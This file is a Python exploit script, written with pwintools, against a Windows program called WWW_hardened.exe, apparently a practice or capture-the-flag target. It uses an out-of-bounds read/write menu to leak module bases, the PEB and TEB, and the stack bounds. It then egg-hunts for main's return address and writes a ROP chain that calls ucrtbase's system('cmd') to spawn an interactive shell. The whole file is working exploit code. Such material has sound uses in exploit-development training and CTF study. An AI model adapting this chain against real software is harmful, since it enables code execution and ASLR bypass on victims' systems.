from pwintools import *
import time

MASK  = 0xffffffffffffffff
SZMAX = 0x7fffffffffffffff

binary = PE(r'.\x64\Release\WWW_hardened.exe')
k32  = PE(r'C:\Windows\System32\kernel32.dll')
nt   = PE(r'C:\Windows\System32\ntdll.dll')
vcrt = PE(r'C:\Windows\System32\vcruntime140.dll')
ucrt = PE(r'C:\Windows\System32\ucrtbase.dll')
time_connect = time.time()
p = Process('./x64/Release/WWW_hardened.exe')
#p.spawn_debugger(x96dbg = True, sleep = 3)
p.timeout = 1E8

def ror8(val, rot):
    return ((val >> rot) | (val << (0x40 - rot))) & MASK

def EncodePointer(val, cookie):
    return ror8(val ^ cookie, cookie & 0x3f)

def DecodePointer(val, cookie):
    return ror8(val, 0x40 - (cookie & 0x3f)) ^ cookie

def read_rel(idx):
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil(' = ')
    return int(p.recvline()) & MASK

def write_rel(idx, val):
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil(' = ')
    val &= MASK
    if val > SZMAX:
        val -= (MASK + 1)
    p.sendline(str(val))

def read_abs(addr):
    ofs = addr - (binary.base + 0x4618)
    assert(ofs % 8 == 0)
    return read_rel(ofs // 8)

def write_abs(addr, val):
    ofs = addr - (binary.base + 0x4618)
    assert(ofs % 8 == 0)
    write_rel(ofs // 8, val)

def quit():
    p.recvuntil('> ')
    p.sendline('0')
    p.recvline()

# leak module base
k32.base    = read_rel((0x3000 - 0x4618) / 8) - k32.symbols['SetWaitableTimer']
nt.base     = read_rel((0x3038 - 0x4618) / 8) - nt.symbols['RtlInitializeSListHead']
vcrt.base   = read_rel((0x30b0 - 0x4618) / 8) - vcrt.symbols['__C_specific_handler']
ucrt.base   = read_rel((0x30f8 - 0x4618) / 8) - ucrt.symbols['_cexit']
binary.base = read_rel((0x31E0 - 0x4618) / 8) - 0x1450
assert(reduce(lambda x, y: x | y.base, [k32, nt, vcrt, ucrt, binary], 0) & 0xffff == 0)
log.success('kernel32.dll base:     0x{:016x}'.format(k32.base))
log.success('ntdll.dll base:        0x{:016x}'.format(nt.base))
log.success('vcruntime140.dll base: 0x{:016x}'.format(vcrt.base))
log.success('ucrtbase.dll base:     0x{:016x}'.format(ucrt.base))
log.success('WWW_hardened.exe base: 0x{:016x}'.format(binary.base))

# leak PEB & TEB
PEB_TlsExpansionBitmapBits_addr = read_abs(nt.base + 0x165328)
PEB = PEB_TlsExpansionBitmapBits_addr - 0x240
assert(PEB & 0xfff == 0)
TEB = PEB + 0x1000
assert(read_abs(TEB + 0x30) == TEB)  # TEB linear address check
log.success('PEB: 0x{:016x}'.format(PEB))
log.success('TEB: 0x{:016x}'.format(TEB))

# leak stack min/max from TEB
stack_max = read_abs(TEB + 0x08)
stack_min = read_abs(TEB + 0x10)
log.success('Stack Range: [0x{:016x}, 0x{:016x})'.format(stack_min, stack_max))
stack_range = stack_max - stack_min
log.info('Stack Range Length: {:x}'.format(stack_range))

# do a egg hunt of known stack value from stack max down to stack min
egg = nt.base + 0x6CED1  # ntdll.RtlUserThreadStart+21
log.info('Egg hunt ntdll.RtlUserThreadStart+0x21 @ stack: 0x{:016x}'.format(egg))
for i in range(15, stack_range // 8, 2):  # stack aligned to 0x10
    addr = stack_max - 8 * i
    dump = read_abs(addr)
    log.info('[0x{:04x}] == 0x{:016x} | {}/{} in {}s'.format(addr, dump, (i - 13) // 2, (stack_range // 8 - 14) // 2, time.time() - time_connect))
    if dump == egg:
        log.success('Egg hunt successful!')
        retaddr = addr - 8 * 0xe
        break
else:
    log.error('Failed egg hunt...')

# now we have the exact stack address!
log.success('main retaddr @ stack: 0x{:016x}'.format(retaddr))

# Prepare ROP chain
cmd_addr = binary.base + 0x4800
write_abs(cmd_addr, u64("cmd\0\0\0\0\0"))
chain  = ''
chain += p64(ucrt.base + 0x28c70) + p64(cmd_addr)
chain += p64(ucrt.base + 0x104f)  # stack aligner, ucrtbase!0x000000018000104f : ret
chain += p64(ucrt.base + ucrt.symbols['system'])  # ucrtbase!0x0000000180028c70 : pop rcx ; ret
for i, v in enumerate(cut(chain, 8)):
    write_abs(retaddr + 8 * i, u64(v))
log.success('ROP chain prepared!')

# Trigger ROP exploit by returning from main()
log.info('Triggering exploit...')
quit()

p.interactive()